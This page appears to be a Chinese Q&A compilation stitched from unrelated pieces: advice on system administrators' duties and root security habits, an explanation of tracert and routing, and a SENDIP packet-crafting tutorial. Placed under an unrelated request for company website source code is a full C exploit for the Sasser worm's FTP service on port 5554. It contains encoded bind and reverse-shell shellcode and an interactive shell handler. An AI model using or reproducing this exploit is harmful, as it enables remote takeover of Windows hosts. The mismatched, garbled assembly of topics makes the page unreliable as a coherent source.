系统管理员的基本要求
系统管理员的基本要求系统管理员主要负责系统设备,如主机、工作站、打印机和存储设备等;还负责软件的维护,包括系统软件和应用软件,要保证它们安全可靠地运行。但是,系统不是独立工作的,它们通过网络互连起来,并且需要与Internet或其他系统进行远程连接。由于各种原因,网络出现故障在所难免,这时,系统管理员必须能够解决一些简单的网络管理问题,而不应该完全依赖网络管理员。在系统规模不大的情况下,系统管理员也应该承当网络管理员的职责。基本要求---- 系统管理员的网络管理含义,远远不止是插上网卡和知道怎样ping通路由器。 ---- 这里列举出一些系统管理员必须了解的知识和背景。当系统管理员想尽快地解决问题时,他应该如何去做呢?他可以打电话给网络售后服务公司,说系统连不上网;或者告诉他们,某个型号集线器的Shelf 5 冲突指示灯一直亮着,每秒通过的帧个数锁定在最大值上。---- 系统管理员首先应该和网络管理员配合好,前者应该具备以下相关的信息:网络管理员上班时间的电话号码、业余时间的电话号码和寻呼号码、业余时间备用的电话号码和寻呼号码。备用号码是非常重要的,因为打常用电话找不到人的情况是经常的。还有一点系统管理员必须心中有数,即在下班后寻呼的反应时间。---- 然后,系统管理员必须知道自己的系统都使用了哪些网络方面的硬件。至少应该包括以下设备:系统的物理线路所连接的集线器或交换机、经常出现在系统路由表中的路由器。还需要知道用于名字识别的域名服务器(DNS)或口令识别的网络信息服务器(NIS),执行系统设置或关键任务所使用的任何服务器,如文件服务器、打印服务器和数据库服务器的口令。网络设备知多少---- 对于每一个系统硬件,系统管理员必须知道以下事情:(1) 它们安装在哪里,能否检查它们是否加电;(2) 能否观察它们的功能是否正常;(3) 它们的型号和制造厂商;(4) 它们的性能,包括速度、全双工支持等等;(5) 它们管理界面的操作方法及怎样启动;(6) 它们有没有服务合同,如果有的话,是和谁订的;(7) 它们有没有故障预报机制。--- 有一次,一位网络管理员正在做系统支持,突然接到一位系统管理员的电话,说系统从网络上断开了,请求支援。其实,这位系统管理员已经很快检查出网卡的link灯不亮,但是他不知道系统的网络电缆连在哪个集线器上。网络管理员来到计算机房之后,摇了一下一个集线器的电源插头,于是所有该亮的灯都亮了,系统也连上了网络。尽管不提倡系统管理员去动网络设备,但是如果这个系统管理员知道他的系统插在哪个集线器上,他应该能意识到是集线器掉了电,那么他就会想起来去检查一下电源插头。---- 许多集线器和交换机都有指示正常运行的指示灯和一些错误信息的指示灯,一个好的系统管理员应该熟悉它们。例如,一连串的数据链路层错误将导致集线器把端口隔离开,从而系统从网上断开。在这种情况下,通常都有指示灯显示端口被隔离了。会有许多原因导致这种错误的产生,有一种情况是网卡的速率设置错误,然而也有把网卡设置为正确的速率而系统仍连不上网的情况。用简单的工具---- 知道设备的制造厂商和型号,对于获得调试信息是重要的。许多厂商已经在Web上发布了设备的配置、操作和调试信息,管理员所需要了解的只是制造厂商和型号。---- 熟悉集线器和交换机的能力就可以避免设置错误。例如,当简单地与集线器连接时,把系统的网卡设置成100Mbps全双工以太网将不会导致通信错误,至少在一个负载不重的局域网上是这样。它可能只是提高一些以太网错误的级别,如CRC校验错。---- 知道怎样使用设备的管理软件是诊断问题的好方法。请注意CRC校验和格式错误及碎片。如果问题不是在双工通讯不匹配上,能够确定设备正在接收由系统发来的数据包是重要的。系统管理员也能发现数据包是否带有纠错,甚至没有必要直接登录到设备或者使用它的管理软件。许多集线器和交换机可以通过SNMP管理。SNMP的优点之一是具有读写口令。尽管不可能从网络管理员那里窥探到管理口令,但是可以让网络管理员设置一个SNMP组,这样系统管理员也能参与部分管理。熟手出好活---- 同样,如果系统管理员对相关的其他系统有熟练操作经验,也是非常有用的。有时会遇到DNS不响应的情况,当系统管理员过去查看时,发现它瘫痪了。如果系统管理员已经或者能够登录,那就好得多。因为这样至少能够检查一些进程是否还在运行。同样,网络管理员应该有上级系统管理员的联系电话和系统的备份。---- 灾难预防是重要的,但是灾难是多层次的。说到灾难,许多人会想到重大的灾难,例如摧毁任何东西的火灾。但是也有小灾难,如前面提到的DNS瘫痪,所造成的影响也是很大的。---- 作为系统管理员,应该认真考虑如下问题:您知道备份DNS的IP地址吗?如果没有备份的DNS,那么您知道关键服务器和客户的IP地址吗?如果知道,您就可以抛开DNS进行维护工作。---- 您在最后一刻将所有最新的变化列表了吗?如果运行中的网络路由器坏掉了,将会发生什么情况?网络管理可能有备份的路由器,但是替换上去要多长时间?最后一次检查它已经过去多长时间了?在有或没有网络管理员合作的情况下,把您的系统从友好网络那里得到恢复,您能做些什么?---- 最后,系统管理员需要知道,尝试各种设置来定位问题要花很长时间。当然,作为一个系统管理员,并没有责任为路由器、交换机等设备设置参数。但是如果将这些设置做备份,对于以后协助解决网络问题很有帮助。如果问题发生在一台并没有什么异常现象的设备上,那么简单地比较一下该设备当前的参数设置和原来的设置,就有可能发现问题,例如路由协议RIP、OSPF或者新的访问控制表出现了变化。熟知系统---- 系统管理员要把注意力集中到系统上来,对于每一块网卡,应该知道它的名称和对它的设置,包括IP地址、子网掩码、速率、是否全双工和其他参数。最好也了解它的MAC地址和配置文件在哪里。如果需要了解网络的变化情况,MAC地址是非常有用的。可能跟踪工具不能报告网卡的IP地址,或者系统依赖于动态主机设置协议(DHCP)从而没有IP地址。但是,如果知道了MAC地址,系统管理员对于网络的一切就都是可见的,就很容易找出问题之所在。如果系统采用DHDP机制,系统管理员一定要懂得它。---- 使用运行参数设置行是分析和定位一些问题的快速方法。例如,如果参数设置行显示网卡的典型值可以达到每秒60个广播,但是现在显示的是每秒600个广播,那么系统管理员就应该检查广播源和它对网络的影响。---- 另一方面,如果网卡上通常显示每秒600个广播,这时系统管理员大概不必担心它会有什么问题。其他所要留意的是帧数和收发的字节数,以及错误出现的频率。---- 对于以太网网卡,出现个别冲突的情况是正常的。需要警惕的是出现延迟冲突和冲突次数过多的现象。系统管理员应该清醒地认识到,运行参数在一天中的任何时刻、一周或一月中的任何一天都可能会变化。这意味着需要备份运行参数。不幸的是,获得低层的网卡统计数据通常不那么容易。有些操作系统提供获得这些参数的命令,有些操作系统如Windows则不提供。有些网卡制造厂商提供获取参数的诊断程序,而有些厂商则没有。---- 除了每个网卡的运行参数,高层协议的运行参数也是有用的。比如,如果系统管理员知道一般情况下网卡每秒进行100个连接,而现在速率一下子跳到了1000个,或猛降到10个,这就应该引起系统管理员的注意。如果速率总是1000个,那就是其他问题了。窍门是应该知道哪些高层协议正在运行,哪些统计数字是重要的。在TCP/IP环境下,许多操作系统包括Windows都可以使用netstat“-s”命令统计每秒钟的连接次数。将问题定位---- 单独的一个小系统很容易管理,它甚至不需要网络管理员。如果系统仅仅单独运行,只有几个企业必需的应用程序在上面,那么,在通常情况下,当其中一个应用程序的使用者打电话说他的程序不干活了,或者系统死机了,系统管理员才知道出了问题。这些问题的出现也可能是网络故障引起的,但是用户不去找网络管理员,他们会找系统管理员。因为他们认为系统管理员应该解决一切问题,他们也不可能判断出是系统方面的原因还是网络方面的原因。---- 在这种情况下,一个系统管理员首先应该做的,是搞清楚问题究竟是出现在网络上,还是出现在系统上,或者是应用程序出了问题。假设网络和系统都运行正常,那么系统管理员应该知道以下内容:应用程序所使用的端口;怎样退出和启动应用程序;应用程序的运行记录的位置、记录入口的含义;谁主要对这个应用程序负责,谁有它的备份,当然,还有他们的联系电话。---- 许多时候,用户的应用程序对查询停止反应了。这时首先要检查的是,搞清楚应用程序是否在监视查询。要做到这一点,系统管理员必须知道系统在监视TCP或UDP的哪个端口。如果系统管理员不知道是哪个端口,那么就无法检查。如果应用程序不工作,重新启动它可能是最快的方法。然而如果这样做了,就可能永远搞不明白系统的问题出在哪里。可是,如果系统必须尽快地恢复工作,那就只能如此了。---- 应用程序登录信息也不见得都有用。这与具体的应用程序和问题类型有关。总之,系统管理员知道得越多,能做的就越多,问题就解决得越快,并且能快些排除潜在问题的产生。系统管理员的安全意识系统管理员意识在UNIX系统中,管理员权限之大,对系统的安全很不利。若系统管理员的登录口令泄密了,则入侵者离窃取系统特权只有一步之遥了,因为系统管理员经常作为超级用户或者说特洛依木马替换系统管理员的某些程序,而这些程序都是系统管理员做为ROOT时要使用的。正是因为这个原因,在UNIX系统中,管理员的户头最常受到攻击。因此系统管理员作为超级用户运行程序时应当特别小心,即使最微小的疏忽也可能将系统的安全拱手交出。下列指导规则可使系统管理员更好地行使权限。不要作为超级用户或以自己的登录户头运行其他用户的程序,首先用SU命令进入用户的户头。决不要把当前工作目录排在PATH路径表的前边,那样实际是招引特洛依木马。当系统管理员用SU命令进入ROOT用户时,他的PATH将会改变,就让PATH保持这样,以避免特洛依木马程序的侵入。敲入/bin/su执行su 命令。若有su源码,将其改成必须用全路径名运行。不要未注销户头就离开终端,特别是作为root用户时更不能这样。当系统管理员作为root用户时,命令提示符是“#”,这个提示符对某些人来说可能是个红灯标志。不允许root在除控制台外的任何终端登录,如果没有login源码,就将登录名root改成别的名,使入侵者不能在root登录名下猜测各种可能的口令,从而非法进入root的户头。经常改变超级用户的口令。确认su命令记录下想运行su企图的记录,该记录文件的许可方式是600,并属root所有。 这是非法者喜欢选择来替换成特洛依木马的文件。不要让某人作为超级用户运行程序,即使是几分钟,甚至系统管理员在一旁注视着也不行!
简单的说就是对系统具有管理权限的人就叫管理员,一般系统管理员多用在电脑多的地方,私人的电脑自己就是系统管理员啦!不过你得精通电脑才行. 主要分为网络系统管理员和信息系统管理员。网络系统管理员主要负责整个网络的网络设备和服务器系统的设计、安装、配置、管理和维护工作,为内部网的安全运行做技术保障。服务器是网络应用系统的核心,由系统管理员专门负责管理;信息系统管理员则负责具体信息系统日常管理和维护,具有信息系统的最高管理权限。系统管理员(有时简称为sysadmin)是负责管理多用户计算机环境的人,例如局域网(LAN)。系统管理员的职责主要包括:安装和配置系统的硬件和软件;建立和管理用户帐户;升级软件;备份和恢复业务。
系统管理员的要求:要动的电脑、对局域网非常了解、还要知道很多的命令操作。

tracert工作原理&路由原理
1:1<1 ms<1 ms<1 msproxy.huayuan.hy [192.168.10.1] 2 *137 ms 133 ms61.148.2.33 179 ms 103 ms 294 ms61.148.115.145491 ms55 ms24 ms61.148.7.1895 157 ms63 ms26 ms61.148.3.1576 312 ms 441 ms 402 ms61.148.3.307 242 ms 400 ms 264 msxd-22-5-a8.bta.net.cn [202.108.22.5]Trace complete.看一下上面这个过程 应该不用解释了下面我们来分析一下 我们是怎么看到这个回显的大家都知道我们所发送的tracert数据包 属于icmp数据包的一种关于ttl的概念不知道能否理解ttl 就是生存时间的意思 也就是我们所发送的数据包 在转发过程中的寿命问题很好理解 如果寿命为0的话 就不能到达目的地 每经过一个三层设备我们的数据包的ttl值都会减一 如果减到0 就证明不能到达就会给我们的源主机一个回应显示并告知源主机 在哪个三层设备将这个生存值置0的 然后将这个三层设备的ip地址转发给源主机上面我们说的是ttl的一个原理和作用下面我们来说 tracert包的原理我们发送TRACERT包时 第一次的包的ttl值为1 这样到第一个三层设备那就会给源主机一个回应 并告知其IP依次类推 第二次发送的时候的TTL值等于2第三次为3默认最大hop为30也就是说ttl最大升到30这样我门就能清楚的看到 我们的数据包是怎么到达目的地的2:当IP子网中的一台主机发送IP分组给同一IP子网的另一台主机时,它将直接把IP分组送到网络上,对方就能收到。而要送给不同IP子网上的主机时,它要选择一个能到达目的子网上的路由器,把IP分组送给该路由器,由路由器负责把IP分组送到目的地。如果没有找到这样的路由器,主机就把IP分组送给一个称为“缺省网关(default gateway)”的路由器上。“缺省网关”是每台主机上的一个配置参数,它是接在同一个网络上的某个路由器端口的IP地址。路由器转发IP分组时,只根据IP分组目的IP地址的网络号部分,选择合适的端口,把IP分组送出去。同主机一样,路由器也要判定端口所接的是否是目的子网,如果是,就直接把分组通过端口送到网络上,否则,也要选择下一个路由器来传送分组。路由器也有它的缺省网关,用来传送不知道往哪儿送的IP分组。这样,通过路由器把知道如何传送的IP分组正确转发出去,不知道的IP分组送给“缺省网关”路由器,这样一级级地传送,IP分组最终将送到目的地,送不到目的地的IP分组则被网络丢弃了。目前TCP/IP网络,全部是通过路由器互连起来的,Internet就是成千上万个IP子网通过路由器互连起来的国际性网络。网络称为以路由器为基础的网络(router based network),形成了以路由器为节点的“网间网”。在“网间网”中,路由器不仅负责对IP分组的转发,还要负责与别的路由器进行联络,共同确定“网间网”的路由选择和维护路由表。路由动作包括两项基本内容:寻径和转发。寻径即判定到达目的地的最佳路径,由路由选择算法来实现。由于涉及到不同的路由选择协议和路由选择算法,要相对复杂一些。为了判定最佳路径,路由选择算法必须启动并维护包含路由信息的路由表,其中路由信息依赖于所用的路由选择算法而不尽相同。路由选择算法将收集到的不同信息填入路由表中,根据路由表可将目的网络与下一站(nexthop)的关系告诉路由器。路由器间互通信息进行路由更新,更新维护路由表使之正确反映网络的拓扑变化,并由路由器根据量度来决定最佳路径。这就是路由选择协议(routing protocol),例如路由信息协议(RIP)、开放式最短路径优先协议(OSPF)和边界网关协议(BGP)等。转发即沿寻径好的最佳路径传送信息分组。路由器首先在路由表中查找,判明是否知道如何将分组发送到下一个站点(路由器或主机),如果路由器不知道如何发送分组,通常将该分组丢弃;否则就根据路由表的相应表项将分组发送到下一个站点,如果目的网络直接与路由器相连,路由器就把分组直接送到相应的端口上。这就是路由转发协议(routed protocol)。 路由转发协议和路由选择协议是相互配合又相互独立的概念,前者使用后者维护的路由表,同时后者要利用前者提供的功能来发布路由协议数据分组。
路由是工作在OSI参考模型第三层——网络层的数据包转发设备。路由器通过转发数据包来实现网络互连。虽然路由器可以支持多种协议(如TCP/IP、IPX/SPX、AppleTalk等协议),绝大多数路由器运行TCP/IP协议。路由器通常连接两个或多个由IP子网或点到点协议标识的逻辑端口,至少拥有1个物理端口。路由器根据收到数据包中的网络层地址以及路由器内部维护的路由表决定输出端口以及下一跳地址,并且重写链路层数据包头实现转发数据包。路由器通过动态维护路由表来反映当前的网络拓扑,并通过网络上其他路由器交换路由和链路信息来维护路由表。路由包含两个基本的动作:确定最佳路径和通过网络传输信息。在路由的过程中,后者也称为(数据)交换。交换相对来说比较简单,而选择路径很复杂,是通过特定的算法,确定传输最佳路径。有时候在某些情况下,我们也通过人工指定路由表来人为指定路径。 而Tracert指的是路由跟踪实用程序,用于确定 IP 数据包访问目标所采取的路径。Tracert 命令用 IP 生存时间 (TTL) 字段和 ICMP 错误消息来确定从一个主机到网络上其他主机的路由,工作过程是将包含不同生存时间 (TTL) 值的 Internet 控制消息协议 (ICMP)回显数据包发送到目标,以确定到达目标采用的路由。。也就是说,我们可以通过tracert命令查看一个主机通过网络到另一台主机传输数据包的每一跳的跃点,从而确定其路径。在多级网络中,常用这个命令辅助诊断网络中出现故障的节点。

急求一套公司用的源代码,只要有留言功能就可以,主页要漂亮点的
#include
#include #include #include #include #define NORM " 33[00;00m"#define GREEN " 33[01;32m"#define YELL " 33[01;33m"#define RED " 33[01;31m"#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.3 for " RED "sasser.x" NORM#define fatal(x) { perror(x); exit(1); }#define default_port 5554struct { char *os; long goreg; long gpa; long lla;}targets[] = {// { "os", go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr },{ "wXP SP1 all", 0x77C0BF21, 0x77be10CC, 0x77be10D0 },{ "w2k SP4 all", 0x7801D081, 0x780320cc, 0x780320d0 },}, tsz;unsigned char bsh[]={0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE,0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E};unsigned char rsh[]={0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA,0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E};char verbose=0;void setoff(long GPA, long LLA) {int gpa=GPA^0xdededede, lla=LLA^0xdededede;memcpy(bsh+0x1d,&gpa,4);memcpy(bsh+0x2e,&lla,4);memcpy(rsh+0x1d,&gpa,4);memcpy(rsh+0x2e,&lla,4);}void usage(char *argv0) {int i;printf("%s -d [opts]nn",argv0);printf("Options:n");printf(" -h undocumentedn");printf(" -p to connect to [default: %u]n",default_port);printf(" -s <'bind'/'rev'> shellcode type [default: bind]n");printf(" -P for the shellcode [default: 530]n");printf(" -H for the reverse shellcoden");printf(" -L setup the listener for the reverse shelln");printf(" -t [default 0]; choose belownn");printf("Types:n");for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)printf(" %d %st[0x%.8x]n", i, targets.os, targets.goreg);exit(1);}void shell(int s) {char buff[4096];int retval;fd_set fds;printf("[+] connected!nn");for (;;) {FD_ZERO(&fds);FD_SET(0,&fds);FD_SET(s,&fds);if (select(s+1, &fds, NULL, NULL, NULL) < 0)fatal("[-] shell.select()");if (FD_ISSET(0,&fds)) {if ((retval = read(1,buff,4096)) < 1)fatal("[-] shell.recv(stdin)");send(s,buff,retval,0);}if (FD_ISSET(s,&fds)) {if ((retval = recv(s,buff,4096,0)) < 1)fatal("[-] shell.recv(socket)");write(1,buff,retval);}}}void callback(short port) {struct sockaddr_in sin;int s,slen=16;sin.sin_family = 2;sin.sin_addr.s_addr = 0;sin.sin_port = htons(port);s=socket(2,1,6);if ( bind(s,(struct sockaddr *)&sin, 16) ) {kill(getppid(),SIGKILL);fatal("[-] shell.bind");}listen(s,1);s=accept(s,(struct sockaddr *)&sin,&slen);shell(s);printf("crapn");}int main(int argc, char **argv, char **env) {struct sockaddr_in sin;struct hostent *he;char *host; int port=default_port;char *Host; int Port=5300; char bindopt=1;int i,s,pid=0,rip;char *buff;int type=0;char *jmp[]=;printf(BANNER "n");if (argc==1)usage(argv[0]);for (i=1;i>8;memcpy(bsh+0x57,&Port,2);memcpy(rsh+0x5a,&Port,2);Port=Port ^ 0xdede;Port=(Port & 0xff) << 8 | Port >>8;break;case 'L':pid++; i--;break;case 'v':verbose++; i--;break;case 'h':usage(argv[0]);default:usage(argv[0]);}}if (verbose)printf("verbose!n");if ((he=gethostbyname(host))==NULL)fatal("[-] gethostbyname()");sin.sin_family = 2;sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);sin.sin_port = htons(port);printf("[.] launching attack on %s:%d..n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);if (bindopt)printf("[.] will try to put a bindshell on port %d.n",Port);else {if ((he=gethostbyname(Host))==NULL)fatal("[-] gethostbyname() for -H");rip=*((long *)he->h_addr_list[0]);rip=rip^0xdededede;memcpy(rsh+0x53,&rip,4);if (pid) {printf("[.] setting up a listener on port %d.n",Port);pid=fork();switch (pid) { case 0: callback(Port); }} elseprintf("[.] you should have a listener on %s:%d.n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),Port);}printf("[.] using type '%s'n",targets[type].os);// -------------------- cores=socket(2,1,6);if (connect(s,(struct sockaddr *)&sin,16)!=0) {if (pid) kill(pid,SIGKILL);fatal("[-] connect()");}printf("[+] connected, sending exploitn");buff=(char *)malloc(4096);bzero(buff,4096);sprintf(buff,"USER xn");send(s,buff,strlen(buff),0);recv(s,buff,4095,0);sprintf(buff,"PASS xn");send(s,buff,strlen(buff),0);recv(s,buff,4095,0);memset(buff+0000,0x90,2000);strncpy(buff,"PORT ",5);strcat(buff,"x0a");memcpy(buff+272,jmp[0],2);memcpy(buff+276,&targets[type].goreg,4);memcpy(buff+280,jmp[1],5);setoff(targets[type].gpa, targets[type].lla);if (bindopt)memcpy(buff+300,&bsh,strlen(bsh));elsememcpy(buff+300,↱,strlen(rsh));send(s,buff,strlen(buff),0);free(buff);close(s);// -------------------- end of coreif (bindopt) {sin.sin_port = htons(Port);sleep(1);s=socket(2,1,6);if (connect(s,(struct sockaddr *)&sin,16)!=0)fatal("[-] exploit most likely failed");shell(s);}if (pid) wait(&pid);exit(0); }

发包长度大于1518的发包工具
三款常用IP发包工具介绍 SENDIP 可在各种UNIX 或LINUX 版本中运行,本人使用的是SLACKWARE 8.0 和REDHAT 9.0 两个版本。可在网站http://www.earth.li/projectpurple/progs/sendip.html中下载最新的源代码或RPM包,目前版本为2.5,源码包大小只有54K。2.1.1. 安装过程SENDIP 的安装过程非常简单,首先从前面介绍的网站中下载最新的源代码包,目前为sendip-2.5.tar.gz。在LINUX 系统中执行:#tar –xzvf sendip-2.5.tar.gz#cd sendip-2.5#make#make install在系统的/usr/local/bin 目录下会产生一个SENDIP 命令文件,同时,在/usr/local/lib 目录下建立一个sendip 目录,并在其下放置ipv4.so、ipv6.so、tcp.so 等与协议相关的模块文件。通过在命令行下运行这个文件,我们可以产生各种各样我们需要的IP 包,还可以通过运行脚本自动发送大量的IP 包。AntPower 版权所有© 2003 技术文章http://www.antpower.org第3 页共14 页2.1.2. 发包方法SENDIP 可以发送NTP, BGP, RIP, RIPng, TCP, UDP, ICMP、IPv4 和IPv6 等各种格式的数据包,SENDIP 本身是以模块的方式发送各种协议的数据包,用-p 参数指定协议类型,要发送每种协议的数据包, 必须对该协议的数据包格式有一定的了解。通常发送TCP/UDP/ICMP 数据包时,都必须以IP 包进行封装,然后才可以发出去。本节我们将以TCP数据包为例进行讲述。下面介绍一下SENDIP 的命令行格式,以下为直接执行SENDIP 时的输出:Usage: sendip [-v] [-d data] [-h] [-f datafile] [-p module] [module options] hostname-d data add this data as a string to the end of the packetData can be:rN to generate N random(ish) data bytes;0x or 0X followed by hex digits;0 followed by octal digits;any other stream of bytes(以指定字节的随机数据填充包中的数据段)-f datafile read packet data from file(以指定数据文件中的内容填充包中的数据段)-h print this message(输出帮助信息)-p module load the specified module (see below)(指定协议类型)-v be verbose(运行时输出详细运行信息,如不指定,运行时不输出信息)(协议类型是以模块的方式指定的,用-p 参数指定)Modules are loaded in the order the -p option appears. The headers fromeach module are put immediately inside the headers from the previos model inthe final packet. For example, to embed bgp inside tcp inside ipv4, dosendip -p ipv4 -p tcp -p bgp ....Modules available at compile time:ipv4 ipv6 icmp tcp udp bgp rip ntp(支持的协议类型)通常执行格式如下:#sendip –v –d r64 –p ipv4 –iv 4 –ih 5 –il 128 –is 10.0.0.1 –id 30.0.0.1 –p tcp –ts 1379 –td 23 –tt 8 30.0.0.1-v:运行时输出详细运行信息,如不指定,运行时不输出信息–d r64:用64 字节的随机数值填充IP 包中的数据段–p ipv4:指定协议类型为IP 协议(IP 协议有自己的相应参数,以i 开头)–iv 4:协议版本为4,即IPV4–ih 5:指定IP 头的长度为5×4=20 字节–il 128:指定IP 包的总长度为128 字节–is 10.0.0.1:指定IP 包的源地址–id 30.0.0.1:指定IP 包的目的地址AntPower 版权所有© 2003 技术文章http://www.antpower.org第4 页共14 页–p tcp:指定IP 包中封装的包的协议类型(TCP 协议有自己的相应参数,以t 开头)–ts 1379:指定TCP 包的源端口1379–td 23:指定TCP 包的目的端口为23-tt 8:指定TCP 包的偏移量即TCP 头的长度,没有TCP 选项时为5,即20 字节,有TCP 选项时需要增加。30.0.0.1:指定发包的目的主机以上部分为利用SENDIP 发送一个简单的TCP 数据包的方法,下面结合IP 和TCP 数据包的格式详细介绍IP 和TCP 协议的各种参数。具体各种协议的数据包格式可参考TCP/IP 协议中对各种协议数据包格式的介绍,下面我们只介绍IP 数据包的格式和TCP 数据包的格式:IP 数据包的格式:根据IP 数据包的格式,SENDIP 有如下命令行参数可以指定对应的IP 数据包中参数的值。Field nameSize(bits)SendIPoptionDescriptionVersion 4 -iv Always 4(对应“4 位版本”,通常值为4,表示IPV4)Header length 4 -ihIP header length, measured in 32bit words, 5 if there areno options(对应“4 位首部长度”,表示以32 位即4字节为单位的IP 首部长度,如果没有IP 参数的话,通常为5,表示首部长度为20 字节,如有IP 参数的话,需要调整该值)Type ofService/DifferentiatedServices8 -iy服务类型(TOS)字段由8 位组成,其中包括3 位的优先权字段(现已被忽略)、4 位的TOS 子字段和1位未用位但必须置0,4 位TOS 子字段分别代表最小时延、最大吞吐量、最高可靠性和最小费用。4 位只能置其中1 位,使用时只要将设置相应位后运算出十进制值即可。如要设置最大吞吐量位(00001000),只需添加参数iy 8 即可。Total Length 16 -il Total length of IP packet including header and data,AntPower 版权所有© 2003 技术文章http://www.antpower.org第5 页共14 页measured in octets(指定IP 包的总长度,包括IP 头部分和数据部分,以8 位字节为单位,最长为65535)Identification 16 -iiUsed to help reassembled fragmented packets(指定IP包的标识号,用来帮助重新组装分段的IP 包)-ifr 1 bit: reserved, should be 0-ifd 1 bit: don't fragment(可指定-ifd x,下可为0、1 或r) Flags 3-ifm 1 bit: more fragmets(可指定-ifm x,下可为0、1 或r)Fragment offset 13 -ifWhere in the reconstructed datagram this fragmentbelongs, measured in 64bit words starting from 0(以8字节长度为单位,指定段偏移量)Time to Live 8 -itNumber of routers the packet can pass through beforebeing discarded(值的范围从0 到255,指定TTL,表示该包可通过的路由器的数目,用于防止包在循环路径上无休止地传递)Protocol 8 -ipProtocol associated with the data. See iana for anuptodate list of assigned numbers(用于定义IP 包内部封装的上层协议的协议号,如TCP 为6,可在IANA的网站上http://www.iana.org/assignments/protocol-numbers获得最新的协议号表)Header checksum 16 -icChecksum of the IP header data (with checksum set tozero)(可指定IP 首部校验和的值,通常由SENDIP 自动生成,不指定该参数,除非要发出带有错误校验和的包)Source Address 32 -is Duhh...(源地址,以点分十进制方式表示)Destination Address 32 -id Cabbage(目的地址,以点分十进制方式表示)Options Variable -io...No options are required. Any number can be added. Seebelow for details(定义各种IP 选项,如果定义了IP选项,则前面的IP 头的长度值要包括IP 选项的长度,不带IP 选项时,该值为20,带IP 选项时,可设定该值,如果要故意制造不匹配的包,可不符合规范。)如果有IP 选项,还可指定IP 选项的值,SENDIP 支持的IP 选项如下表所示。NameSendIPoptionRFC Copy Class NumberType(seeabove)Length(0 notpresent)DescriptionEOL -ioeol 791 0 0 0 0 0Used as padding if needed(使用该选项后,会自动在IP 头中未用到的位补0)NOP -ionop 791 0 0 1 1 0Do nothing. Often used as paddingso the next option starts on a 32 bitAntPower 版权所有© 2003 技术文章http://www.antpower.org第6 页共14 页boundaryRR -iorr 791 0 0 7 7 variableUsed to record the route of apacket.(记录包走过的每个路由器, 通常用法是: 